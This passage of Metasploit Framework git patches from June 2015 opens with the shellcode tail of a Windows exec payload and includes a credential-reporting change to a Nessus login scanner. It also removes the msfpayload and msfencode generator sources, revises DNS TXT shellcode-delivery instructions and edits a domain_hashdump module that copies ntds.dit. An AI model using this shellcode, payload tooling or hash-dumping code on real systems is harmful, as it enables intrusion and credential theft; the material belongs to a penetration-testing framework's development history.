"\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" + - "\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88" + - "\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44" + - "\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48" + - "\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1" + - "\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44" + - "\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49" + - "\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A" + - "\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41" + - "\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x48\xBA\x01\x00\x00" + - "\x00\x00\x00\x00\x00\x48\x8D\x8D\x01\x01\x00\x00\x41\xBA\x31\x8B" + - "\x6F\x87\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x41\xBA\xA6\x95\xBD\x9D\xFF" + - "\xD5\x48\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47" + - "\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5" - } - )) - register_options( - [ - OptString.new('CMD', [ true, "The command string to execute" ]), - ], self.class ) - end - - def generate - return super + command_string + "\x00" - end - - def command_string - return datastore['CMD'] || '' - end - -end From 245c76374d6a44ae6ae4ada9749beaecefdc7775 Mon Sep 17 00:00:00 2001 From: root Date: Mon, 8 Jun 2015 14:40:15 +0500 Subject: [PATCH 0352/1013] Update nessus_xmlrpc_logic to use the new creds API --- .../scanner/nessus/nessus_xmlrpc_login.rb | 34 ++++++++++++++++++- 1 file changed, 33 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb index 018fa7ce17..149782f31e 100644 --- a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb @@ -110,11 +110,43 @@ class Metasploit3 < Msf::Auxiliary :active => true, :type => 'password'} - report_auth_info(report_hash) + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'nessus-xmlrpc', + user: user, + password: pass + ) return :next_user end end vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'") return :skip_pass end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + }.merge(service_data) + + create_credential_login(login_data) + end + end From 3279518bbd040006ce39d038df69b2c1a418151b Mon Sep 17 00:00:00 2001 From: root Date: Mon, 8 Jun 2015 14:58:22 +0500 Subject: [PATCH 0353/1013] Move VMware modules to the VMware directory --- .../auxiliary/scanner/{http => vmware}/vmware_server_dir_trav.rb | 0 .../scanner/{http => vmware}/vmware_update_manager_traversal.rb | 0 2 files changed, 0 insertions(+), 0 deletions(-) rename modules/auxiliary/scanner/{http => vmware}/vmware_server_dir_trav.rb (100%) rename modules/auxiliary/scanner/{http => vmware}/vmware_update_manager_traversal.rb (100%) diff --git a/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb b/modules/auxiliary/scanner/vmware/vmware_server_dir_trav.rb similarity index 100% rename from modules/auxiliary/scanner/http/vmware_server_dir_trav.rb rename to modules/auxiliary/scanner/vmware/vmware_server_dir_trav.rb diff --git a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb b/modules/auxiliary/scanner/vmware/vmware_update_manager_traversal.rb similarity index 100% rename from modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb rename to modules/auxiliary/scanner/vmware/vmware_update_manager_traversal.rb From 5a6a16c4ec84b09cacf51abb1b1eaf5ccfb8955c Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 8 Jun 2015 11:30:04 -0500 Subject: [PATCH 0354/1013] Resolve #4326, remove msfpayload & msfencode. Use msfvenom instead! msfpayload and msfencode are no longer in metasploit. Please use msfvenom instead. Resolves #4326 --- .../DLLHijackAuditKit/regenerate_binaries.rb | 10 +- external/zsh/_msfencode | 82 ----- lib/msf/util/exe.rb | 2 +- metasploit-framework.gemspec | 1 - .../singles/windows/dns_txt_query_exec.rb | 8 +- msfencode | 306 ------------------ msfpayload | 269 --------------- 7 files changed, 10 insertions(+), 668 deletions(-) delete mode 100644 external/zsh/_msfencode delete mode 100755 msfencode delete mode 100755 msfpayload diff --git a/external/source/DLLHijackAuditKit/regenerate_binaries.rb b/external/source/DLLHijackAuditKit/regenerate_binaries.rb index a396b542b8..5e2b8a0ef7 100755 --- a/external/source/DLLHijackAuditKit/regenerate_binaries.rb +++ b/external/source/DLLHijackAuditKit/regenerate_binaries.rb @@ -2,12 +2,12 @@ dllbase = File.expand_path(File.dirname(__FILE__)) msfbase = File.expand_path(File.join(dllbase, "..", "..", "..")) -msfp = File.join(msfbase, "msfpayload") +msfv = File.join(msfbase, "msfvenom") Dir.chdir(dllbase) -system("ruby #{msfp} windows/exec CMD=calc.exe X > runcalc.exe") -system("ruby #{msfp} windows/exec CMD=calc.exe D > runcalc.dll") -system("ruby #{msfp} windows/exec CMD='cmd.exe /c echo yes > exploited.txt' D > runtest.dll") -system("ruby #{msfp} windows/exec CMD='cmd.exe /c echo yes > exploited.txt' X > runtest.exe") +system("ruby #{msfv} -p windows/exec CMD=calc.exe -f exe -o runcalc.exe") +system("ruby #{msfv} -p windows/exec CMD=calc.exe -f dll -o runcalc.dll") +system("ruby #{msfv} -p windows/exec CMD='cmd.exe /c echo yes > exploited.txt' -f dll -o runtest.dll") +system("ruby #{msfv} -p windows/exec CMD='cmd.exe /c echo yes > exploited.txt' -f exe -o runtest.exe") diff --git a/external/zsh/_msfencode b/external/zsh/_msfencode deleted file mode 100644 index b0dca78c05..0000000000 --- a/external/zsh/_msfencode +++ /dev/null @@ -1,82 +0,0 @@ -#compdef msfencode -# ------------------------------------------------------------------------------ -# License -# ------- -# This file is part of the Metasploit Framework and is released under the MSF -# License, please see the COPYING file for more details. -# -# ------------------------------------------------------------------------------ -# Description -# ----------- -# -# Completion script for the Metasploit Framework's msfencode command -# (http://www.metasploit.com/). -# -# ------------------------------------------------------------------------------ -# Authors -# ------- -# -# * Spencer McIntyre -# -# ------------------------------------------------------------------------------ - -_msfencode_encoders_list=( - 'cmd/generic_sh' - 'cmd/ifs' - 'cmd/powershell_base64' - 'cmd/printf_php_mq' - 'generic/eicar' - 'generic/none' - 'mipsbe/byte_xori' - 'mipsbe/longxor' - 'mipsle/byte_xori' - 'mipsle/longxor' - 'php/base64' - 'ppc/longxor' - 'ppc/longxor_tag' - 'sparc/longxor_tag' - 'x64/xor' - 'x86/add_sub' - 'x86/alpha_mixed' - 'x86/alpha_upper' - 'x86/avoid_underscore_tolower' - 'x86/avoid_utf8_tolower' - 'x86/bloxor' - 'x86/call4_dword_xor' - 'x86/context_cpuid' - 'x86/context_stat' - 'x86/context_time' - 'x86/countdown' - 'x86/fnstenv_mov' - 'x86/jmp_call_additive' - 'x86/nonalpha' - 'x86/nonupper' - 'x86/opt_sub' - 'x86/shikata_ga_nai' - 'x86/single_static_bit' - 'x86/unicode_mixed' - 'x86/unicode_upper' -) - -_msfencode_encoder() { - _describe -t encoders 'available encoders' _msfencode_encoders_list || compadd "$@" -} - -_arguments \ - "-a[The architecture to encode as]:architecture:(cmd generic mipsbe mipsle php ppc sparc x64 x86)" \ - "-b[The list of characters to avoid, example: '\x00\xff']:bad characters" \ - "-c[The number of times to encode the data]:times" \ - "-d[Specify the directory in which to look for EXE templates]:template file:_files -/" \ - "-e[The encoder to use]:encoder:_msfencode_encoder" \ - "-h[Help banner]" \ - "-i[Encode the contents of the supplied file path]:input file:_files" \ - "-k[Keep template working; run payload in new thread (use with -x)]" \ - "-l[List available encoders]" \ - "-m[Specifies an additional module search path]:module path:_files -/" \ - "-n[Dump encoder information]" \ - "-o[The output file]:output file" \ - "-p[The platform to encode for]:target platform:(android bsd bsdi java linux netware nodejs osx php python ruby solaris unix win)" \ - "-s[The maximum size of the encoded data]:maximum size" \ - "-t[The output format]:output format:(bash c csharp dw dword java js_be js_le num perl pl powershell ps1 py python raw rb ruby sh vbapplication vbscript asp aspx aspx-exe dll elf exe exe-only exe-service exe-small loop-vbs macho msi msi-nouac osx-app psh psh-net psh-reflection vba vba-exe vbs war)" \ - "-v[Increase verbosity]" \ - "-x[Specify an alternate executable template]:template file:_files" diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index d0489fed0c..b20a091633 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1811,7 +1811,7 @@ require 'msf/core/exe/segment_appender' # Generate an executable of a given format suitable for running on the # architecture/platform pair. # - # This routine is shared between msfencode, rpc, and payload modules (use + # This routine is shared between msfvenom, rpc, and payload modules (use # ) # # @param framework [Framework] diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 2736b60a4e..376f22f6b6 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -36,7 +36,6 @@ Gem::Specification.new do |spec| 'msfelfscan', 'msfencode', 'msfmachscan', - 'msfpayload', 'msfpescan', 'msfrop', 'msfrpc', diff --git a/modules/payloads/singles/windows/dns_txt_query_exec.rb b/modules/payloads/singles/windows/dns_txt_query_exec.rb index 6737a0b954..db3d09cffb 100644 --- a/modules/payloads/singles/windows/dns_txt_query_exec.rb +++ b/modules/payloads/singles/windows/dns_txt_query_exec.rb @@ -40,10 +40,10 @@ module Metasploit3 # 1. Generate the shellcode you want to deliver via DNS TXT queries # Make sure the shellcode is alpha_mixed or alpha_upper and uses EDI as bufferregister # Example : - # ./msfpayload windows/messagebox TITLE="Friendly message from corelanc0d3r" TEXT="DNS Payloads FTW" R | ./msfencode -e x86/alpha_mixed Bufferregister=EDI -t raw - # Output : 654 bytes + # ./msfvenom -p windows/messagebox TITLE="Friendly message from corelanc0d3r" TEXT="DNS Payloads FTW" -e x86/alpha_mixed Bufferregister=EDI -f raw + # Output : 658 bytes # 2. Split the alpha shellcode into individual parts of exactly 255 bytes (+ remaining bytes) - # In case of 654 bytes of payload, there will be 2 parts of 255 bytes, and one part of 144 bytes + # In case of 658 bytes of payload, there will be 2 parts of 255 bytes, and one part of 144 bytes # 3. Create TXT records in a zone you control and put in a piece of the shellcode in each TXT record # The last TXT record might have less than 255 bytes, that's fine # The first part must be stored in the TXT record for prefix a. @@ -51,7 +51,7 @@ module Metasploit3 # etc # First part must start with a. and all parts must be placed in consecutive records # 4. use the dns_txt_query payload in the exploit, specify the name of the DNS zone that contains the DNS TXT records - # Example : /msfpayload windows/dns_txt_query_exec DNSZONE=corelan.eu C + # Example: ./msfvenom -p windows/dns_txt_query_exec DNSZONE=corelan.eu -f c # (Example will show a messagebox) # # DNS TXT Records : diff --git a/msfencode b/msfencode deleted file mode 100755 index 79fa985f2c..0000000000 --- a/msfencode +++ /dev/null @@ -1,306 +0,0 @@ -#!/usr/bin/env ruby -# -*- coding: binary -*- -# -# $Id$ -# $Revision$ -# - -$stderr.puts "[!] ************************************************************************" -$stderr.puts "[!] * The utility msfencode is deprecated! *" -$stderr.puts "[!] * It will be removed on or about 2015-06-08 *" -$stderr.puts "[!] * Please use msfvenom instead *" -$stderr.puts "[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *" -$stderr.puts "[!] ************************************************************************" - -msfbase = __FILE__ -while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) -end - -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'msfenv' - - - -$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] - -require 'rex' -require 'msf/ui' -require 'msf/base' - -OutStatus = "[*] " -OutError = "[-] " - -# Load supported formats -supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats - -$args = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner" ], - "-l" => [ false, "List available encoders" ], - "-v" => [ false, "Increase verbosity" ], - # input/output - "-i" => [ true, "Encode the contents of the supplied file path" ], - "-m" => [ true, "Specifies an additional module search path" ], - "-o" => [ true, "The output file" ], - # architecture/platform - "-a" => [ true, "The architecture to encode as" ], - "-p" => [ true, "The platform to encode for" ], - # format options - "-t" => [ true, "The output format: #{supported_formats.join(',')}" ], - # encoder options - "-e" => [ true, "The encoder to use" ], - "-n" => [ false, "Dump encoder information" ], - "-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ], - "-s" => [ true, "The maximum size of the encoded data" ], - "-c" => [ true, "The number of times to encode the data" ], - # EXE generation options - "-d" => [ true, "Specify the directory in which to look for EXE templates" ], - "-x" => [ true, "Specify an alternate executable template" ], - "-k" => [ false, "Keep template working; run payload in new thread (use with -x)" ] -) - -# -# Dump the list of encoders -# -def dump_encoders(arch = nil) - tbl = Rex::Ui::Text::Table.new( - 'Indent' => 4, - 'Header' => "Framework Encoders" + ((arch) ? " (architectures: #{arch})" : ""), - 'Columns' => - [ - "Name", - "Rank", - "Description" - ]) - cnt = 0 - - $framework.encoders.each_module( - 'Arch' => arch ? arch.split(',') : nil) { |name, mod| - tbl << [ name, mod.rank_to_s, mod.new.name ] - - cnt += 1 - } - - (cnt > 0) ? "\n" + tbl.to_s + "\n" : "\nNo compatible encoders found.\n\n" -end - -# -# Returns the list of encoders to try -# -def get_encoders(arch, encoder) - encoders = [] - - if (encoder) - encoders << $framework.encoders.create(encoder) - else - $framework.encoders.each_module_ranked( - 'Arch' => arch ? arch.split(',') : nil) { |name, mod| - encoders << mod.new - } - end - - encoders -end - -# -# Nuff said. -# -def usage - $stderr.puts("\n" + " Usage: #{$0} \n" + $args.usage) - exit -end - -def write_encoded(buf) - if (not $output) - $stdout.write(buf) - else - File.open($output, "wb") do |fd| - fd.write(buf) - end - end -end - -# Defaults -verbose = 0 -cmd = "encode" -arch = nil -badchars = '' -space = nil -encoder = nil -fmt = nil -input = $stdin -options = '' -delim = '_|_' -output = nil -ecount = 1 -plat = nil - -altexe = nil -inject = false -exedir = nil # use default - -# Parse the argument and rock it -$args.parse(ARGV) { |opt, idx, val| - case opt - when "-i" - begin - input = File.open(val, 'rb') - rescue - $stderr.puts(OutError + "Failed to open file #{val}: #{$!}") - exit - end - when "-m" - $framework.modules.add_module_path(val) - when "-l" - cmd = "list" - when "-n" - cmd = "dump" - when "-a" - arch = val - when "-c" - ecount = val.to_i - when "-b" - badchars = Rex::Text.hex_to_raw(val) - when "-p" - plat = Msf::Module::PlatformList.transform(val) - when "-s" - space = val.to_i - when "-t" - if supported_formats.include?(val) - fmt = val - else - $stderr.puts(OutError + "Invalid format: #{val}") - exit - end - when "-o" - $output = val - when "-e" - encoder = val - - when "-d" - exedir = val - when "-x" - altexe = val - when "-k" - inject = true - - when "-h" - usage - - when "-v" - verbose += 1 - - else - if (val =~ /=/) - options += ((options.length > 0) ? delim : "") + "#{val}" - end - end -} - - -if(not fmt and output) - pre,ext = output.split('.') - if(ext and not ext.empty?) - fmt = ext - end -end - -if inject and not altexe - $stderr.puts "[*] Error: the injection option must use a custom EXE template via -x, otherwise the injected payload will immediately exit when the main process dies." - exit(1) -end -exeopts = { - :inject => inject, - :template => altexe, - :template_path => exedir -} - -# Initialize the simplified framework instance. -$framework = Msf::Simple::Framework.create( - :module_types => [ Msf::MODULE_ENCODER, Msf::MODULE_NOP ], - 'DisableDatabase' => true -) - -# Get the list of encoders to try -encoders = get_encoders(arch, encoder) - -# Process the actual command -case cmd - when "list" - $stderr.puts(dump_encoders(arch)) - when "dump" - enc = encoder ? $framework.encoders.create(encoder) : nil - - if (enc) - $stderr.puts(Msf::Serializer::ReadableText.dump_module(enc)) - else - $stderr.puts(OutError + "Invalid encoder specified.") - end - when "encode" - input.binmode # ensure its in binary mode - buf = input.read - - encoders.each { |enc| - next if not enc - begin - # Imports options - enc.datastore.import_options_from_s(options, delim) - - skip = false - eout = buf.dup - raw = nil - - 1.upto(ecount) do |iteration| - - # Encode it up - raw = enc.encode(eout, badchars, nil, plat) - - # Is it too big? - if (space and space > 0 and raw.length > space) - $stderr.puts(OutError + "#{enc.refname} created buffer that is too big (#{raw.length})") - skip = true - break - end - - # Print it out - $stderr.puts(OutStatus + "#{enc.refname} succeeded with size #{raw.length} (iteration=#{iteration})\n\n") - eout = raw - end - - next if skip - - output = Msf::Util::EXE.to_executable_fmt($framework, arch, plat, raw, fmt, exeopts) - - if not output - fmt ||= "ruby" - output = Msf::Simple::Buffer.transform(raw, fmt) - end - - if exeopts[:fellback] - $stderr.puts(OutError + "Warning: Falling back to default template: #{exeopts[:fellback]}") - end - - write_encoded(output) - - exit - - # - # These exception codes are fatal, we shouldn't expect them to succeed on the next - # iteration, nor the next encoder. - # - rescue ::Errno::ENOENT, ::Errno::EINVAL - $stderr.puts(OutError + "#{enc.refname} failed: #{$!}") - break - - rescue => e - $stderr.puts(OutError + "#{enc.refname} failed: #{e}") - if verbose > 0 - e.backtrace.each { |el| - $stderr.puts(OutError + el.to_s) - } - end - end - } - - $stderr.puts(OutError + "No encoders succeeded.") -end diff --git a/msfpayload b/msfpayload deleted file mode 100755 index b180bac016..0000000000 --- a/msfpayload +++ /dev/null @@ -1,269 +0,0 @@ -#!/usr/bin/env ruby -# -*- coding: binary -*- -# -# $Id$ -# $Revision$ -# - -$stderr.puts "[!] ************************************************************************" -$stderr.puts "[!] * The utility msfpayload is deprecated! *" -$stderr.puts "[!] * It will be removed on or about 2015-06-08 *" -$stderr.puts "[!] * Please use msfvenom instead *" -$stderr.puts "[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *" -$stderr.puts "[!] ************************************************************************" - -msfbase = __FILE__ -while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) -end - -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'msfenv' - - - -$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] - -require 'rex' - -$args = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner" ], - "-l" => [ false, "List available payloads" ] -) - -# -# Nuff said. -# -def usage - $stderr.puts("\n" + - " Usage: #{$0} [] [var=val] <[S]ummary|C|Cs[H]arp|" + - "[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]|s[O]>\n" + - $args.usage) - exit -end - -cmd = nil -rest = [] - -# Parse the argument and rock it -$args.parse(ARGV) { |opt, idx, val| - #puts "opt[%d]: #{opt.inspect} / #{val.inspect}" % idx - - case opt - when "-l" - cmd = "list" - break - - # Non-option (don't begin with '-') are processed here - when nil - rest << val - - end -} - -usage if cmd != "list" && rest.length < 2 - -require 'msf/ui' -require 'msf/base' - -# -# Dump the list of payloads -# -def dump_payloads - tbl = Rex::Ui::Text::Table.new( - 'Indent' => 4, - 'Header' => "Framework Payloads (#{$framework.stats.num_payloads} total)", - 'Columns' => - [ - "Name", - "Description" - ]) - - $framework.payloads.each_module { |name, mod| - tbl << [ name, mod.new.description ] - } - - "\n" + tbl.to_s + "\n" -end - -# Initialize the simplified framework instance. -$framework = Msf::Simple::Framework.create( - :module_types => [ Msf::MODULE_PAYLOAD, Msf::MODULE_NOP ], - 'DisableDatabase' => true -) - -if cmd == "list" - puts dump_payloads - exit -end - - -# Get the payload name we'll be using -payload_name = rest.shift - -# Process special var/val pairs... -Msf::Ui::Common.process_cli_arguments($framework, rest) - -# Create the payload instance -payload = $framework.payloads.create(payload_name) - -if (payload == nil) - $stderr.puts "Invalid payload: #{payload_name}" - exit -end - -# Evalulate the command -cmd = rest.pop.downcase - -# Populate the framework datastore -options = {} -rest.each do |x| - k,v = x.split("=", 2) - options[k.upcase] = v.to_s -end - -# if LHOST is not set auto set it -if payload_name =~ /[\_\/]reverse/ and options['LHOST'].nil? - options['LHOST'] = Rex::Socket.source_address -end - - -payload.datastore.merge! options - -if cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n|o)$/ - fmt = 'perl' if cmd =~ /^p$/ - fmt = 'ruby' if cmd =~ /^y$/ - fmt = 'raw' if cmd =~ /^(r|x|d|o)$/ - fmt = 'raw' if cmd =~ /^v$/ - fmt = 'c' if cmd =~ /^c$/ - fmt = 'csharp' if cmd =~ /^h$/ - fmt = 'js_be' if cmd =~ /^j$/ && Rex::Arch.endian(payload.arch) == ENDIAN_BIG - fmt = 'js_le' if cmd =~ /^j$/ && !fmt - fmt = 'java' if cmd =~ /^b$/ - fmt = 'raw' if cmd =~ /^w$/ - fmt = 'python' if cmd =~ /^n$/ - enc = options['ENCODER'] - - begin - buf = payload.generate_simple( - 'Format' => fmt, - 'Options' => options) - rescue - $stderr.puts "Error generating payload: #{$!}" - exit - end - - $stdout.binmode - - if cmd =~ /^x$/ - note = - "Created by msfpayload (http://www.metasploit.com).\n" + - "Payload: " + payload.refname + "\n" + - " Length: " + buf.length.to_s + "\n" + - "Options: " + options.inspect + "\n" - - arch = payload.arch - plat = payload.platform.platforms - - exe = Msf::Util::EXE.to_executable($framework, arch, plat, buf) - - if !exe && plat.index(Msf::Module::Platform::Java) - exe = payload.generate_jar.pack - end - - if exe - $stderr.puts(note) - $stdout.write(exe) - exit(0) - end - - $stderr.puts "No executable format support for this arch/platform" - exit(-1) - end - - if cmd =~ /^v$/ - exe = Msf::Util::EXE.to_win32pe($framework, buf) - note = - "'Created by msfpayload (http://www.metasploit.com).\r\n" + - "'Payload: " + payload.refname + "\r\n" + - "' Length: " + buf.length.to_s + "\r\n" + - "'Options: " + options.inspect + "\r\n" - - vba = note + "\r\n" + Msf::Util::EXE.to_exe_vba(exe) - $stdout.write(vba) - exit(0) - end - - if cmd =~ /^d$/ - dll = Msf::Util::EXE.to_win32pe_dll($framework, buf) - note = - "Created by msfpayload (http://www.metasploit.com).\r\n" + - "Payload: " + payload.refname + "\r\n" + - " Length: " + buf.length.to_s + "\r\n" + - "Options: " + options.inspect + "\r\n" - - if dll - $stderr.puts(note) - $stdout.write(dll) - exit(0) - end - - $stderr.puts "Failed to build dll" - exit(-1) - end - - if cmd =~ /^o$/ - so = Msf::Util::EXE.to_linux_x64_elf_dll($framework, buf) - note = - "Created by msfpayload (http://www.metasploit.com).\r\n" + - "Payload: " + payload.refname + "\r\n" + - " Length: " + buf.length.to_s + "\r\n" + - "Options: " + options.inspect + "\r\n" - - if so - $stderr.puts(note) - $stdout.write(so) - exit(0) - end - - $stderr.puts "Failed to build dll" - exit(-1) - end - - if cmd =~ /^w$/ - note = - "Created by msfpayload (http://www.metasploit.com).\n" + - "Payload: " + payload.refname + "\n" + - " Length: " + buf.length.to_s + "\n" + - "Options: " + options.inspect + "\n" - - arch = payload.arch - plat = payload.platform.platforms - - exe = Msf::Util::EXE.to_executable($framework, arch, plat, buf) - if (!exe && payload.respond_to?(:generate_war)) - exe = payload.generate_war.pack - elsif exe - exe = Msf::Util::EXE.to_jsp_war(exe) - end - - if exe - $stderr.puts(note) - $stdout.write(exe) - exit(0) - end - - $stderr.puts "No executable format support for this arch/platform" - exit(-1) - end - - $stdout.write(buf) - -elsif cmd =~ /^(s|o)$/ - payload.datastore.import_options_from_s(rest.join('_|_'), '_|_') - puts Msf::Serializer::ReadableText.dump_module(payload) - -else - $stderr.puts "Invalid command: #{cmd.inspect}" - -end From 07d1282afb44a4d5fde87f75d9dd5a1c9bcc7b07 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 8 Jun 2015 12:17:49 -0500 Subject: [PATCH 0355/1013] Correct file naming for better Ruby coding style --- .../core/exploit/{browserautopwnv2.rb => browser_autopwnv2.rb} | 0 lib/msf/core/exploit/mixins.rb | 2 +- 2 files changed, 1 insertion(+), 1 deletion(-) rename lib/msf/core/exploit/{browserautopwnv2.rb => browser_autopwnv2.rb} (100%) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb similarity index 100% rename from lib/msf/core/exploit/browserautopwnv2.rb rename to lib/msf/core/exploit/browser_autopwnv2.rb diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 91024ae873..80afde7037 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -104,4 +104,4 @@ require 'msf/core/exploit/android' # Browser Exploit Server require 'msf/core/exploit/remote/browser_exploit_server' -require 'msf/core/exploit/browserautopwnv2' +require 'msf/core/exploit/browser_autopwnv2' From bb56f6043e4dd7d45949e32d50857d225eca96c1 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 8 Jun 2015 13:17:18 -0500 Subject: [PATCH 0356/1013] explicitly use windows\temp instead of using the user temp directory trying to get around some intermittant permissions issues MSP-12358 --- modules/post/windows/gather/credentials/domain_hashdump.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb index 615533b095..18f3f7487b 100644 --- a/modules/post/windows/gather/credentials/domain_hashdump.rb +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -77,7 +77,7 @@ class Metasploit3 < Msf::Post end def ntdsutil_method - tmp_path = "#{get_env("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}" + tmp_path = "#{get_env("%WINDIR%")}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8)+6))}" command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit" result = cmd_exec("ntdsutil.exe", command_arguments,90) if result.include? "IFM media created successfully" @@ -147,7 +147,7 @@ class Metasploit3 < Msf::Post print_status "Getting Details of ShadowCopy #{id}" sc_details = get_sc_details(id) sc_path = "#{sc_details['DeviceObject']}\\windows\\ntds\\ntds.dit" - target_path = "#{get_env("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}" + target_path = "#{get_env("%WINDIR%")}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8)+6))}" print_status "Moving ntds.dit to #{target_path}" move_file(sc_path, target_path) target_path From 8381d4f994d947701281421a374f5efa584df129 Mon Sep 17 00:00:00 2001 From: Josh Abraham Date: Mon, 8 Jun 2015 19:42:03 -0400 Subject: [PATCH 0357/1013] update smb_enumusers_domain to store enumerated users in the DB --- .../scanner/smb/smb_enumusers_domain.rb | 36 +++++++++++++++---- 1 file changed, 29 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb index bf391d893f..250b2b9cf0 100644 --- a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb +++ b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb @@ -10,8 +10,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::DCERPC # Scanner mixin should be near last @@ -23,7 +23,11 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'SMB Domain User Enumeration', 'Version' => '$Revision $', 'Description' => 'Determine what domain users are logged into a remote system via a DCERPC to NetWkstaUserEnum.', - 'Author' => 'natron', + 'Author' => + [ + 'natron', # orignal module + 'Joshua D. Abraham ', # database storage + ], 'References' => [ [ 'URL', 'http://msdn.microsoft.com/en-us/library/aa370669%28VS.85%29.aspx' ] @@ -43,7 +47,6 @@ class Metasploit3 < Msf::Auxiliary val_actual = resp[idx,4].unpack("V")[0] idx += 4 value = resp[idx,val_actual*2] - #print_debug "resp[0x#{idx.to_s(16)},#{val_actual*2}] : " + value idx += val_actual * 2 idx += val_actual % 2 * 2 # alignment @@ -54,15 +57,12 @@ class Metasploit3 < Msf::Auxiliary def parse_NetWkstaEnumUsersInfo(resp) accounts = [ Hash.new() ] - #print_debug resp[0,20].unpack("H*") idx = 20 count = resp[idx,4].unpack("V")[0] # wkssvc_NetWkstaEnumUsersInfo -> Info -> PtrCt0 -> User() -> Ptr -> Max Count idx += 4 - #print_debug "Max Count : " + count.to_s 1.upto(count) do # wkssvc_NetWkstaEnumUsersInfo -> Info -> PtrCt0 -> User() -> Ptr -> Ref ID - # print_debug "Ref ID#{account.to_s}: " + resp[idx,4].unpack("H*").to_s idx += 4 # ref id name idx += 4 # ref id logon domain idx += 4 # ref id other domains @@ -142,6 +142,28 @@ class Metasploit3 < Msf::Auxiliary print_status "#{ip} : #{accounts.collect{|x| x[:logon_domain] + "\\" + x[:account_name]}.join(", ")}" end + found_accounts = [] + accounts.each do |x| + comp_user = x[:logon_domain] + "\\" + x[:account_name] + found_accounts.push(comp_user.scan(/[[:print:]]/).join) unless found_accounts.include?(comp_user.scan(/[[:print:]]/).join) + end + + found_accounts.each do |comp_user| + if comp_user.to_s =~ /\$$/ + next + end + + 